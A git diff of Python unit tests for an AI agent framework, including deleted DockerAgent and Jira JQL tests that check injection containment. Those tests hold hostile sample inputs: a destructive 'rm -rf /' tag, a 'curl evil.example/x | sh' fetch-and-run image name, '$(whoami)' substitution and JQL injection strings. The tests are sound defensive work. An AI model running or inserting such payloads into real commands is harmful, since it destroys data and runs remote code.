agent.talk_sdk is not None -class TestCodeAgentIntegration: - """Test Code Agent integration.""" - - @pytest.fixture(autouse=True) - def _require_code_pkg(self): - # CodeAgent ships as the standalone gaia-agent-code wheel (#1397, #1102); - # skip when it isn't installed. - pytest.importorskip("gaia_agent_code") - - def test_code_agent_exists(self): - """Verify CodeAgent can be imported.""" - from gaia_agent_code.agent import CodeAgent - - assert CodeAgent is not None - - def test_code_agent_has_all_mixins(self): - """Verify CodeAgent includes all code mixins.""" - from gaia_agent_code.agent import CodeAgent - from gaia_agent_code.tools.cli_tools import CLIToolsMixin - - from gaia.agents.tools.file_io_tools import FileIOToolsMixin - - # Should inherit from required mixins - assert issubclass(CodeAgent, CLIToolsMixin) - assert issubclass(CodeAgent, FileIOToolsMixin) - - @patch("gaia_agent_code.agent.CodeAgent._create_console") - def test_code_agent_can_be_instantiated(self, mock_console): - """Verify CodeAgent can be instantiated.""" - from gaia_agent_code.agent import CodeAgent - from gaia_agent_code.tools.cli_tools import CLIToolsMixin - - from gaia.agents.base.console import SilentConsole - from gaia.agents.tools.file_io_tools import FileIOToolsMixin - - mock_console.return_value = SilentConsole() - - # Should instantiate without errors - agent = CodeAgent(silent_mode=True) - assert agent is not None - # Should be instance of required mixins - assert isinstance(agent, CLIToolsMixin) - assert isinstance(agent, FileIOToolsMixin) - - class TestMultiModalIntegration: """Test multi-modal capabilities.""" diff --git a/tests/unit/agents/test_confirmation_required_tools.py b/tests/unit/agents/test_confirmation_required_tools.py index cf4670c1f..f1d74cb84 100644 --- a/tests/unit/agents/test_confirmation_required_tools.py +++ b/tests/unit/agents/test_confirmation_required_tools.py @@ -78,7 +78,12 @@ def test_base_set_is_generic_only(self): """Email/calendar-specific names no longer live in the base set (#1440).""" for name in ("send_draft", "send_now", "quarantine_phishing_message"): assert name not in TOOLS_REQUIRING_CONFIRMATION - for name in ("run_shell_command", "write_file", "edit_file"): + for name in ( + "run_shell_command", + "execute_python_file", + "write_file", + "edit_file", + ): assert name in TOOLS_REQUIRING_CONFIRMATION def test_bare_agent_confirmation_set_equals_base(self): diff --git a/tests/unit/agents/test_docker_agent.py b/tests/unit/agents/test_docker_agent.py deleted file mode 100644 index a3fdae2b4..000000000 --- a/tests/unit/agents/test_docker_agent.py +++ /dev/null @@ -1,260 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Unit tests for DockerAgent's subprocess-invoking tools. - -These tests exercise the real tool implementations (``_build_image``, -``_run_container``, ``_save_dockerfile``) with ``subprocess.run`` patched so no -real Docker daemon is contacted. They assert: - -- the exact argv list passed to subprocess for build/run, -- that Dockerfiles are written to disk by save_dockerfile, -- the PathValidator allowlist rejects build/save paths outside the allowed - directory WITHOUT invoking subprocess, -- subprocess is always called with a list argv and never ``shell=True`` (so an - attacker-controlled tag or image name cannot inject extra shell tokens). - -The agent constructs fully offline — the base Agent's LLM client is lazy and is -not contacted during these tool calls — so no Lemonade/LLM mock is required for -the tool paths. We still keep construction in a fixture so a future eager-init -change surfaces here rather than silently in CI. -""" - -from __future__ import annotations - -from unittest.mock import MagicMock, patch - -import pytest - -# The Docker agent ships as the standalone gaia-agent-docker wheel (#1102) and -# is not installed in the base unit-test job — skip cleanly when absent, matching -# the hub-package convention in tests/unit/agents/test_response_format.py. -pytest.importorskip("gaia_agent_docker") - -from gaia_agent_docker.agent import DockerAgent # noqa: E402 - -DOCKER_MODULE = "gaia_agent_docker.agent.subprocess.run" - - -def _completed(returncode: int = 0, stdout: str = "", stderr: str = ""): - """Build a stand-in for subprocess.CompletedProcess.""" - proc = MagicMock() - proc.returncode = returncode - proc.stdout = stdout - proc.stderr = stderr - return proc - - -@pytest.fixture -def agent(tmp_path): - """DockerAgent whose allowlist is restricted to a single tmp directory. - - Restricting allowed_paths to tmp_path means any path outside it is - rejected by PathValidator, which lets us assert the security boundary - deterministically (and in a non-interactive test process the validator - auto-denies rather than prompting). - """ - return DockerAgent(silent_mode=True, allowed_paths=[str(tmp_path)]) - - -# --------------------------------------------------------------------------- -# build_image — argv and success/failure handling -# --------------------------------------------------------------------------- - - -class TestBuildImage: - def test_invokes_docker_build_with_expected_argv(self, agent, tmp_path): - # First subprocess.run is the `docker --version` probe, second is build. - with patch(DOCKER_MODULE) as run: - run.side_effect = [ - _completed(returncode=0, stdout="Docker version 27.0"), - _completed(returncode=0, stdout="built"), - ] - result = agent._build_image(str(tmp_path), "myapp:1.2.3") - - assert result["status"] == "success" - assert result["image"] == "myapp:1.2.3" - - # Two calls: version probe, then the build. - assert run.call_count == 2 - version_call, build_call = run.call_args_list - - assert version_call.args[0] == ["docker", "--version"] - assert build_call.args[0] == [ - "docker", - "build", - "-t", - "myapp:1.2.3", - str(tmp_path), - ] - - def test_build_failure_surfaces_stderr(self, agent, tmp_path): - with patch(DOCKER_MODULE) as run: - run.side_effect = [ - _completed(returncode=0, stdout="Docker version 27.0"), - _completed(returncode=1, stderr="no such file"), - ] - result = agent._build_image(str(tmp_path), "app:latest") - - assert result["status"] == "error" - assert result["success"] is False - assert "no such file" in result["error"] - - def test_docker_not_installed_short_circuits_before_build(self, agent, tmp_path): - # Version probe returns non-zero -> build must never run. - with patch(DOCKER_MODULE) as run: - run.return_value = _completed(returncode=127) - result = agent._build_image(str(tmp_path), "app:latest") - - assert result["status"] == "error" - assert "Docker is not installed" in result["error"] - # Only the version probe ran; the build argv was never reached. - assert run.call_count == 1 - assert run.call_args.args[0] == ["docker", "--version"] - - -# --------------------------------------------------------------------------- -# run_container — argv assembly -# --------------------------------------------------------------------------- - - -class TestRunContainer: - def test_basic_run_argv(self, agent): - with patch(DOCKER_MODULE) as run: - run.return_value = _completed(returncode=0, stdout="abcdef123456\n") - result = agent._run_container("app:latest") - - assert result["status"] == "success" - assert result["container_id"] == "abcdef123456" - run.assert_called_once() - assert run.call_args.args[0] == ["docker", "run", "-d", "app:latest"] - - def test_run_with_port_and_name_argv(self, agent): - with patch(DOCKER_MODULE) as run: - run.return_value = _completed(returncode=0, stdout="deadbeefcafe\n") - result = agent._run_container("app:latest", port="5000:5000", name="myctr") - - assert result["status"] == "success" - assert result["url"] == "http://localhost:5000" - assert run.call_args.args[0] == [ - "docker", - "run", - "-d", - "-p", - "5000:5000", - "--name", - "myctr", - "app:latest", - ] - - def test_run_failure_surfaces_stderr(self, agent): - with patch(DOCKER_MODULE) as run: - run.return_value = _completed(returncode=1, stderr="image not found") - result = agent._run_container("nope:latest") - - assert result["status"] == "error" - assert result["success"] is False - assert "image not found" in result["error"] - - -# --------------------------------------------------------------------------- -# save_dockerfile — writes file, honours allowlist -# --------------------------------------------------------------------------- - - -class TestSaveDockerfile: - def test_writes_dockerfile_to_allowed_path(self, agent, tmp_path): - content = 'FROM python:3.9-slim\nCMD ["python", "app.py"]\n' - result = agent._save_dockerfile(content, str(tmp_path), 5000) - - assert result["status"] == "success" - written = tmp_path / "Dockerfile" - assert written.exists() - assert written.read_text(encoding="utf-8") == content - - def test_nonexistent_directory_errors(self, agent, tmp_path): - missing = tmp_path / "does_not_exist" - result = agent._save_dockerfile("FROM scratch", str(missing), 5000) - assert result["status"] == "error" - assert "does not exist" in result["error"] - - -# --------------------------------------------------------------------------- -# Security: allowlist boundary — outside paths rejected without subprocess -# --------------------------------------------------------------------------- - - -class TestPathAllowlist: - def test_build_outside_allowlist_rejected_no_subprocess(self, agent, tmp_path): - # /etc is outside the tmp_path allowlist. The validator runs in a - # non-interactive test process, so it auto-denies (no prompt). - with patch(DOCKER_MODULE) as run: - result = agent._build_image("/etc", "evil:latest") - - assert result["status"] == "error" - assert "Access denied" in result["error"] - # Critical: subprocess must NOT be invoked for a denied path. - run.assert_not_called() - - def test_save_outside_allowlist_rejected_no_write(self, agent, tmp_path): - target = "/etc/Dockerfile" - result = agent._save_dockerfile("FROM scratch", "/etc", 5000) - assert result["status"] == "error" - assert "Access denied" in result["error"] - # The denied path must not have been written. - import os - - assert not os.path.exists(target) or "Access denied" in result["error"] - - def test_analyze_outside_allowlist_rejected(self, agent): - result = agent._analyze_directory("/etc") - assert result["status"] == "error" - assert "Access denied" in result["error"] - - -# --------------------------------------------------------------------------- -# Security: no shell injection surface — list argv, shell=True never used -# --------------------------------------------------------------------------- - - -class TestNoShellInjection: - def test_build_never_uses_shell_true(self, agent, tmp_path): - # A tag laced with shell metacharacters must be passed as a single - # argv element, never interpolated into a shell string. - malicious_tag = "app:latest; rm -rf / #" - with patch(DOCKER_MODULE) as run: - run.side_effect = [ - _completed(returncode=0, stdout="Docker version 27.0"), - _completed(returncode=0, stdout="built"), - ] - agent._build_image(str(tmp_path), malicious_tag) - - for call in run.call_args_list: - # argv is positional, passed as a list (not a shell string). - assert isinstance(call.args[0], list) - # shell=True must never appear in kwargs. - assert call.kwargs.get("shell", False) is False - - # The malicious tag stays a single, un-split argv token: the shell - # metacharacters are inert because no shell ever sees them. - build_call = run.call_args_list[-1] - assert malicious_tag in build_call.args[0] - assert build_call.args[0] == [ - "docker", - "build", - "-t", - malicious_tag, - str(tmp_path), - ] - - def test_run_never_uses_shell_true(self, agent): - malicious_image = "app:latest && curl evil.example/x | sh" - with patch(DOCKER_MODULE) as run: - run.return_value = _completed(returncode=0, stdout="abc123\n") - agent._run_container(malicious_image, port="$(whoami):80") - - call = run.call_args - assert isinstance(call.args[0], list) - assert call.kwargs.get("shell", False) is False - # Both attacker-controlled values land as single, opaque argv tokens. - assert malicious_image in call.args[0] - assert "$(whoami):80" in call.args[0] diff --git a/tests/unit/agents/test_jql_templates.py b/tests/unit/agents/test_jql_templates.py deleted file mode 100644 index 80fbfec0d..000000000 --- a/tests/unit/agents/test_jql_templates.py +++ /dev/null @@ -1,258 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Unit tests for the JQL template builder (gaia_agent_jira.jql_templates). - -``generate_jql_from_templates`` turns natural language into a JQL string that is -later sent to Atlassian. Because part of the input is user-supplied free text, -the generated JQL is an injection surface. These tests verify both: - -1. Correct JQL construction for representative natural-language inputs, and -2. The defensive property that makes the builder safe: user-supplied values are - captured by *restrictive regex character classes* (e.g. ``[A-Z0-9]+`` for - project keys, an email-shaped class for assignees) rather than by escaping. - Anything outside that class terminates the capture, so quote / boolean - injection chars cannot leak into a value's quoting context. - -All tests are pure-function tests — no network, no Atlassian, no LLM. -""" - -from __future__ import annotations - -import pytest - -# The Jira agent ships as the standalone gaia-agent-jira wheel (#1102) and is -# not installed in the base unit-test job — skip cleanly when absent, matching -# the hub-package convention in tests/unit/agents/test_response_format.py. -pytest.importorskip("gaia_agent_jira") - -from gaia_agent_jira.jql_templates import ( # noqa: E402 - COMPOSITE_PATTERNS, - JQL_TEMPLATES, - LABEL_MAPPINGS, - ORDER_PATTERNS, - REGEX_PATTERNS, - TEAM_PATTERNS, - generate_jql_from_templates, -) - -ORDER_SUFFIX = " ORDER BY updated DESC" - - -# --------------------------------------------------------------------------- -# Default ordering and no-match fallback -# --------------------------------------------------------------------------- - - -class TestDefaults: - def test_unmatched_input_uses_default_query_and_order(self): - # No template, regex, label, or team matches -> documented default. - assert ( - generate_jql_from_templates("zzqqxx nonsense") - == "created >= -30d" + ORDER_SUFFIX - ) - - def test_default_order_appended_when_no_order_keyword(self): - out = generate_jql_from_templates("bugs") - assert out.endswith(ORDER_SUFFIX) - - def test_explicit_order_keyword_overrides_default(self): - out = generate_jql_from_templates("bugs newest") - assert out.endswith(" ORDER BY created DESC") - assert "updated DESC" not in out - - -# --------------------------------------------------------------------------- -# Simple template lookups -# --------------------------------------------------------------------------- - - -class TestTemplateLookups: - def test_bug_issuetype(self): - assert ( - generate_jql_from_templates("show me all bugs") - == 'issuetype = "Bug"' + ORDER_SUFFIX - ) - - def test_status_template(self): - assert ( - generate_jql_from_templates("in progress") - == 'status = "In Progress"' + ORDER_SUFFIX - ) - - def test_assignment_function_template(self): - assert ( - generate_jql_from_templates("assigned to me") - == "assignee = currentUser()" + ORDER_SUFFIX - ) - - def test_all_template_values_quote_literal_strings(self): - # Every literal-string template either quotes its value or uses a - # JQL function / operator. This is the convention the module relies on - # for safety. We assert the literal-value templates are quoted. - for key in ("bug", "story", "task", "epic", "blocker", "critical", "closed"): - jql = JQL_TEMPLATES[key] - # The right-hand value is wrapped in double quotes. - assert '"' in jql, f"template {key!r} should quote its value: {jql!r}" - - -# --------------------------------------------------------------------------- -# Composite patterns (only reached when no plain template matched) -# --------------------------------------------------------------------------- - - -class TestCompositePatterns: - def test_composite_only_when_no_plain_template_matches(self): - # "critical bugs" contains the plain template substring "bug", which is - # matched first (the plain-template loop runs before composites and - # breaks on first hit). Documents the actual precedence. - out = generate_jql_from_templates("critical bugs") - assert out == 'issuetype = "Bug"' + ORDER_SUFFIX - - def test_every_composite_key_is_shadowed_by_a_plain_template(self): - # Observation test (documents current behavior, not a desired guard): - # every key in COMPOSITE_PATTERNS contains a plain-template substring - # ("bug", "open", "task", "story", ...) that the earlier plain-template - # loop matches and breaks on first. As a result the composite branch is - # never reached for these keys today. If a future change makes a - # composite reachable, this test will flag the behavior shift. - for key in COMPOSITE_PATTERNS: - body = generate_jql_from_templates(key).split(" ORDER BY")[0] - assert body != COMPOSITE_PATTERNS[key], ( - f"composite {key!r} unexpectedly reached the composite branch; " - "precedence assumption changed" - ) - - -# --------------------------------------------------------------------------- -# Regex patterns: project, story points, dates -# --------------------------------------------------------------------------- - - -class TestRegexPatterns: - def test_project_key_uppercased(self): - out = generate_jql_from_templates("issues in proj project") - assert "project = PROJ" in out - - def test_story_points_comparison(self): - out = generate_jql_from_templates("story points > 5") - assert '"Story Points" > 5' in out - - def test_created_after_date_quoted(self): - out = generate_jql_from_templates("created after 2024-01-15") - assert 'created >= "2024-01-15"' in out - - def test_assignee_email_quoted(self): - out = generate_jql_from_templates("assigned to alice@example.com") - assert 'assignee = "alice@example.com"' in out - - def test_quoted_phrase_becomes_text_search(self): - out = generate_jql_from_templates('search for "login timeout"') - assert 'text ~ "login timeout"' in out - - -# --------------------------------------------------------------------------- -# Labels and teams -# --------------------------------------------------------------------------- - - -class TestLabelsAndTeams: - def test_label_mapping_expands(self): - out = generate_jql_from_templates("security issues") - # Label set is unordered; assert each expected label is present. - assert "labels in (" in out - for label in LABEL_MAPPINGS["security"]: - assert f'"{label}"' in out - - def test_team_membership_pattern(self): - out = generate_jql_from_templates("backend team work") - assert 'assignee in membersOf("backend-team")' in out - - -# --------------------------------------------------------------------------- -# OR vs AND combination -# --------------------------------------------------------------------------- - - -class TestCombination: - def test_or_keyword_joins_with_or(self): - # Two regex parts joined; presence of " or " switches the joiner. - out = generate_jql_from_templates("story points > 5 or story points < 1") - assert " OR " in out - assert " AND " not in out.split(" ORDER BY")[0] - - def test_default_joins_with_and(self): - out = generate_jql_from_templates("bugs assigned to bob@example.com") - body = out.split(" ORDER BY")[0] - assert " AND " in body - - -# --------------------------------------------------------------------------- -# SECURITY: injection surface — restrictive capture classes contain the value -# --------------------------------------------------------------------------- - - -class TestInjectionContainment: - def test_project_key_injection_chars_dropped(self): - # The project regex captures only [A-Z0-9]+, so trailing quote / boolean - # injection chars are not part of the value. `project = PROJ` is emitted - # unquoted but cannot be poisoned because the value is alphanumeric only. - out = generate_jql_from_templates('project PROJ" OR 1=1') - body = out.split(" ORDER BY")[0] - assert "project = PROJ" in body - # The injected boolean tail did not become part of the project clause. - assert "1=1" not in body - - def test_assignee_email_injection_bounded_by_charclass(self): - # The email char class [a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+ stops at the - # first non-matching char, so a closing quote / OR cannot land *inside* - # the assignee value's quotes. - out = generate_jql_from_templates('assigned to evil@example.com" OR "1"="1') - # The assignee clause quotes exactly the email, nothing more. - assert 'assignee = "evil@example.com"' in out - # The injected boolean did not fuse into the assignee value. - assert 'assignee = "evil@example.com" OR "1"="1"' not in out - - def test_assignee_value_has_no_unescaped_break_in_clause(self): - out = generate_jql_from_templates("assigned to user@corp.io") - # Exactly one assignee clause with a single quoted value. - assert out.count('assignee = "') == 1 - clause = 'assignee = "user@corp.io"' - assert clause in out - - def test_story_points_only_accepts_digits(self): - # The Story Points comparison regex requires \d+, so a non-numeric - # "value" never reaches it and the injected text is not interpolated - # into a "Story Points" comparison clause. - out = generate_jql_from_templates("story points > abc; DROP TABLE") - assert '"Story Points" >' not in out - assert "DROP TABLE" not in out - - def test_no_shell_or_jql_metachars_leak_for_garbage_input(self): - # Pure garbage with metacharacters falls through to the safe default. - out = generate_jql_from_templates(";`$(){}[]<>") - assert out == "created >= -30d" + ORDER_SUFFIX - - -# --------------------------------------------------------------------------- -# Structural sanity of the static tables -# --------------------------------------------------------------------------- - - -class TestStaticTables: - def test_regex_patterns_are_callable_pairs(self): - for pattern, generator in REGEX_PATTERNS: - assert isinstance(pattern, str) - assert callable(generator) - - def test_order_patterns_start_with_order_by(self): - for clause in ORDER_PATTERNS.values(): - assert clause.startswith("ORDER BY ") - - def test_composite_patterns_combine_conditions(self): - # Each composite has at least one boolean joiner or function call. - for jql in COMPOSITE_PATTERNS.values(): - assert " AND " in jql or " OR " in jql or "(" in jql - - def test_team_patterns_use_membersof(self): - for jql in TEAM_PATTERNS.values(): - assert "membersOf(" in jql diff --git a/tests/unit/agents/test_registry.py b/tests/unit/agents/test_registry.py index 76836bd4b..caffcce42 100644 --- a/tests/unit/agents/test_registry.py +++ b/tests/unit/agents/test_registry.py @@ -114,18 +114,20 @@ def test_builder_not_in_visible_list(self): # gaia-lite were collapsed into a "lite" model TIER of the single base # agent. The old IDs survive only as legacy aliases. - # chat/doc/file (ChatAgent profiles), data (AnalystAgent) and web - # (BrowserAgent) all now ship as standalone hub wheels (#1102); their - # full+lite tiers are verified in those packages' own tests. The - # framework-only suite asserts tiers on chat/doc/file only when the - # gaia-agent-chat wheel is installed (importorskip below). + # chat/doc/file (ChatAgent profiles) ship as the standalone gaia-agent-chat + # hub wheel (#1102); their full+lite tiers are verified in that package's + # own tests. The framework-only suite asserts tiers on chat/doc/file only + # when the gaia-agent-chat wheel is installed (importorskip below). + # + # The data (AnalystAgent) and web (BrowserAgent) agents, and their -lite + # aliases, were removed outright in the agent-collapse — their capability + # lives in the flagship agent's scratchpad/browser tools now, not a + # separate registration. _BASE_AGENTS = ["chat", "doc", "file"] _LEGACY_LITE_IDS = [ "chat-lite", "doc-lite", "file-lite", - "data-lite", - "web-lite", "gaia-lite", ] @@ -162,8 +164,6 @@ def test_legacy_lite_ids_resolve_to_base_agent(self): "chat-lite": "chat", "doc-lite": "doc", "file-lite": "file", - "data-lite": "data", - "web-lite": "web", # gaia-lite historically aliased doc-lite. "gaia-lite": "doc", } @@ -171,8 +171,9 @@ def test_legacy_lite_ids_resolve_to_base_agent(self): # canonical_id is a pure alias mapping — holds whether or not the # base agent's wheel is installed. assert registry.canonical_id(legacy) == base - # data/web ship as standalone wheels (#1102); only assert the - # registration resolves when the base agent is actually registered. + # chat/doc/file ship as the standalone gaia-agent-chat wheel + # (#1102); only assert the registration resolves when the base + # agent is actually registered. if base in {r.id for r in registry.list()}: reg = registry.get(legacy) assert reg is not None and reg.id == base diff --git a/tests/unit/agents/test_response_format.py b/tests/unit/agents/test_response_format.py index 108b39b1a..79137b27b 100644 --- a/tests/unit/agents/test_response_format.py +++ b/tests/unit/agents/test_response_format.py @@ -311,54 +311,3 @@ def test_builder_no_compose_override(self): from gaia.agents.builder.agent import BuilderAgent assert "_compose_system_prompt" not in BuilderAgent.__dict__ - - -# --------------------------------------------------------------------------- -# BlenderAgent no longer has duplicate format -# --------------------------------------------------------------------------- - - -class TestBlenderAgentFormat: - def test_blender_no_duplicate_format(self): - pytest.importorskip("gaia_agent_blender") - from gaia_agent_blender.agent import BlenderAgent - - prompt = BlenderAgent._get_system_prompt(None) - assert "==== JSON RESPONSE FORMAT ====" not in prompt - assert "==== CRITICAL RULES ====" in prompt - - -class TestDockerAgentFormat: - def test_docker_no_duplicate_format(self): - pytest.importorskip("gaia_agent_docker") - with patch("gaia.agents.base.agent.AgentSDK"): - from gaia_agent_docker.agent import DockerAgent - - agent = DockerAgent(skip_lemonade=True, silent_mode=True) - prompt = agent._get_system_prompt() - assert "RESPONSE FORMAT - Use EXACTLY this structure" not in prompt - assert "CRITICAL RULES" not in prompt - assert "EXAMPLES" in prompt - - -class TestJiraAgentFormat: - def test_jira_no_duplicate_format(self): - pytest.importorskip("gaia_agent_jira") - with patch("gaia.agents.base.agent.AgentSDK"): - from gaia_agent_jira.agent import JiraAgent - - agent = JiraAgent(skip_lemonade=True, silent_mode=True) - prompt = agent._get_system_prompt() - assert "RESPONSE FORMAT - Use EXACTLY this structure" not in prompt - assert "EXAMPLES" in prompt - assert "JQL RULES" in prompt - - -class TestSDAgentFormat: - def test_sd_no_duplicate_format(self): - pytest.importorskip("gaia_agent_sd") - from gaia_agent_sd.agent import SDAgent - - prompt = SDAgent._get_system_prompt(None) - assert "DYNAMIC PARAMETER PLACEHOLDERS" not in prompt - assert "$PREV.image_path" in prompt diff --git a/tests/unit/api/test_sse_confirmation_gate.py b/tests/unit/api/test_sse_confirmation_gate.py index b0a422c46..69c5f48ee 100644 --- a/tests/unit/api/test_sse_confirmation_gate.py +++ b/tests/unit/api/test_sse_confirmation_gate.py @@ -48,7 +48,8 @@ class _ApiAgent(Agent): def __init__(self, canary=None, **kwargs): # Bound before super().__init__ — _register_tools closes over it. self._fired = [] if canary is None else canary - # AGENT_MODELS passes api_mode; only RoutingAgent accepts it. + # Some agents accept an api_mode kwarg the base Agent doesn't; drop it + # so this test double stays constructable regardless of caller. kwargs.pop("api_mode", None) super().__init__(**kwargs) @@ -243,15 +244,27 @@ def test_registry_installs_the_failing_closed_handler_as_the_console(self): """The bug was that ``AgentRegistry.get_agent`` hands every API-served agent this handler. Drive the real registry and assert the handler it installs is the one the agent actually consults — ``silent_mode=True`` - in ``AGENT_MODELS`` must not win over ``output_handler``.""" + in ``AGENT_MODELS`` must not win over ``output_handler``. + + AGENT_MODELS holds the flagship, not the agent this probe stubs, so + it used to expose are gone — so a fake entry is patched in here to + exercise the get_agent() wiring this test actually targets. + """ from unittest.mock import patch - from gaia.api.agent_registry import AgentRegistry + from gaia.api.agent_registry import AGENT_MODELS, AgentRegistry registry = AgentRegistry() - with patch.object(AgentRegistry, "_load_agent_class", return_value=_ApiAgent): - with patch("gaia.agents.base.agent.AgentSDK"): - agent = registry.get_agent("gaia-code") + fake_model = { + "class_name": "unused.Module.Class", + "init_params": {"silent_mode": True}, + } + with patch.dict(AGENT_MODELS, {"gaia-code": fake_model}): + with patch.object( + AgentRegistry, "_load_agent_class", return_value=_ApiAgent + ): + with patch("gaia.agents.base.agent.AgentSDK"): + agent = registry.get_agent("gaia-code") assert isinstance(agent.console, SSEOutputHandler) result = agent._execute_tool("write_file", {"path": "/x", "content": "y"}) @@ -331,7 +344,18 @@ def _client(monkeypatch, canary): from fastapi.testclient import TestClient from gaia.api import openai_server - from gaia.api.agent_registry import AgentRegistry + from gaia.api.agent_registry import AGENT_MODELS, AgentRegistry + + # AGENT_MODELS holds the flagship, not this probe agent, so the + # agents it used to expose are gone. Without an entry here, + # registry.model_exists("gaia-code") 404s before the request ever + # reaches the get_agent stub below, before this end-to-end refusal + # path can be exercised at all. + monkeypatch.setitem( + AGENT_MODELS, + "gaia-code", + {"class_name": "unused.Module.Class", "init_params": {"silent_mode": True}}, + ) class _Probe(_ApiAgent): def __init__(self, **kwargs): diff --git a/tests/unit/connectors/test_scope_silent_fallback.py b/tests/unit/connectors/test_scope_silent_fallback.py index f8fdcb5ba..b5ee89122 100644 --- a/tests/unit/connectors/test_scope_silent_fallback.py +++ b/tests/unit/connectors/test_scope_silent_fallback.py @@ -18,8 +18,7 @@ Pure ``src/gaia/connectors/**`` — no ``gaia_agent_email`` import — so a connectors-only contributor's CI run catches a D0 regression without the -email wheel installed (#2408's ``gaia_agent_code`` also calls -``get_access_token``). +email wheel installed. """ from __future__ import annotations diff --git a/tests/unit/mcp/test_blender_mcp_client.py b/tests/unit/mcp/test_blender_mcp_client.py deleted file mode 100644 index 62861294c..000000000 --- a/tests/unit/mcp/test_blender_mcp_client.py +++ /dev/null @@ -1,393 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -"""Socket-level tests for the Blender MCP client. - -Uses a fake persistent-connection server (no real Blender required) to -verify that ``send_command`` does not deadlock against a server that -keeps the connection open after responding — matching the real Blender -addon's behaviour. - -Regression test for issue #1022: the client looped on ``recv()`` until -the server sent FIN, but the Blender addon never closes the connection -on its own, leading to a mutual-recv deadlock. -""" - -import json -import socket -import threading -import time - -import pytest - -pytestmark = pytest.mark.allow_network - -from gaia.mcp.blender_mcp_client import MCPClient, MCPError - - -class _PersistentServer: - """Fake server mimicking the Blender addon's connection model. - - Accepts a single connection, reads one JSON command, sends a JSON - response via ``sendall``, and then *keeps the socket open* — the - same behaviour as ``SimpleBlenderMCPServer._handle_client`` in - ``src/gaia/mcp/blender_mcp_server.py``. A correctly-implemented - client must therefore stop reading as soon as it has parsed a - complete JSON response, rather than waiting for FIN. - """ - - def __init__(self, response: dict): - self.response = response - self.host = "127.0.0.1" - self.port = 0 - self._sock = None - self._thread = None - self._stop = threading.Event() - self.received_command = None - - def start(self): - self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self._sock.bind((self.host, 0)) - self._sock.listen(1) - self.port = self._sock.getsockname()[1] - self._sock.settimeout(2.0) - self._thread = threading.Thread(target=self._run, daemon=True) - self._thread.start() - - def _run(self): - try: - client, _ = self._sock.accept() - except socket.timeout: - return - client.settimeout(2.0) - try: - buffer = b"" - while not self._stop.is_set(): - try: - chunk = client.recv(8192) - except socket.timeout: - continue - if not chunk: - break - buffer += chunk - try: - self.received_command = json.loads(buffer.decode("utf-8")) - break - except json.JSONDecodeError: - continue - try: - client.sendall(json.dumps(self.response).encode("utf-8")) - except OSError: - return - # Crucially: do NOT close. Hold the socket open exactly like - # the real Blender addon, which is waiting for the next - # command on the same connection. - while not self._stop.is_set(): - time.sleep(0.05) - finally: - try: - client.close() - except OSError: - pass - - def stop(self): - self._stop.set() - try: - self._sock.close() - except OSError: - pass - if self._thread: - self._thread.join(timeout=1.0) - - -@pytest.fixture -def persistent_server(): - server = _PersistentServer( - response={ - "status": "success", - "result": {"object_count": 0, "message": "Scene cleared successfully"}, - } - ) - server.start() - try: - yield server - finally: - server.stop() - - -def test_send_command_does_not_hang_with_persistent_server(persistent_server): - """Regression test for #1022. - - The client must not loop on ``recv()`` waiting for a FIN that the - server never sends. We run the call inside a *daemon* thread so the - test fails fast (rather than hanging the suite) if the deadlock - comes back — daemon threads are abandoned when pytest exits, even - if blocked on ``recv()``. - """ - client = MCPClient(host=persistent_server.host, port=persistent_server.port) - outcome: dict = {} - - def _call(): - try: - outcome["response"] = client.send_command("clear_scene") - except BaseException as exc: # noqa: BLE001 — propagate to assertion - outcome["error"] = exc - - worker = threading.Thread(target=_call, daemon=True) - worker.start() - worker.join(timeout=5.0) - - if worker.is_alive(): - pytest.fail( - "send_command hung against a persistent-connection server. " - "This is the #1022 regression — the client is waiting for " - "the server to send FIN, but the Blender addon keeps its " - "side of the connection open." - ) - if "error" in outcome: - raise outcome["error"] - - response = outcome["response"] - assert response["status"] == "success" - assert response["result"]["message"] == "Scene cleared successfully" - assert persistent_server.received_command == { - "type": "clear_scene", - "params": {}, - } - - -def test_send_command_raises_on_connection_refused(): - """Connection-refused errors must surface as actionable MCPError.""" - # Bind a socket to grab a free port, then close it; subsequent - # connect() to that port should reliably get ECONNREFUSED across - # platforms and CI sandboxes. - probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - probe.bind(("127.0.0.1", 0)) - free_port = probe.getsockname()[1] - probe.close() - - client = MCPClient(host="127.0.0.1", port=free_port) - with pytest.raises(MCPError) as exc_info: - client.send_command("clear_scene", timeout=2.0) - assert "Connection refused" in str(exc_info.value) - - -class _ChunkedServer: - """Like _PersistentServer but writes the response in two send() calls - with a small delay, to exercise the client's incremental-parse loop.""" - - def __init__( - self, response: dict, split_after: int = 30, gap_seconds: float = 0.05 - ): - self.response = response - self.split_after = split_after - self.gap_seconds = gap_seconds - self.host = "127.0.0.1" - self.port = 0 - self._sock = None - self._thread = None - self._stop = threading.Event() - - def start(self): - self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self._sock.bind((self.host, 0)) - self._sock.listen(1) - self.port = self._sock.getsockname()[1] - self._sock.settimeout(2.0) - self._thread = threading.Thread(target=self._run, daemon=True) - self._thread.start() - - def _run(self): - try: - client, _ = self._sock.accept() - except socket.timeout: - return - client.settimeout(2.0) - try: - buffer = b"" - while not self._stop.is_set(): - try: - chunk = client.recv(8192) - except socket.timeout: - continue - if not chunk: - break - buffer += chunk - try: - json.loads(buffer.decode("utf-8")) - break - except (json.JSONDecodeError, UnicodeDecodeError): - continue - # ensure_ascii=False so non-ASCII content lands on the wire as - # raw multi-byte UTF-8, letting tests deliberately split the - # payload mid-codepoint to exercise the client's - # UnicodeDecodeError tolerance. - payload = json.dumps(self.response, ensure_ascii=False).encode("utf-8") - try: - client.sendall(payload[: self.split_after]) - time.sleep(self.gap_seconds) - client.sendall(payload[self.split_after :]) - except OSError: - return - # Hold the connection open like the real Blender addon. - while not self._stop.is_set(): - time.sleep(0.05) - finally: - try: - client.close() - except OSError: - pass - - def stop(self): - self._stop.set() - try: - self._sock.close() - except OSError: - pass 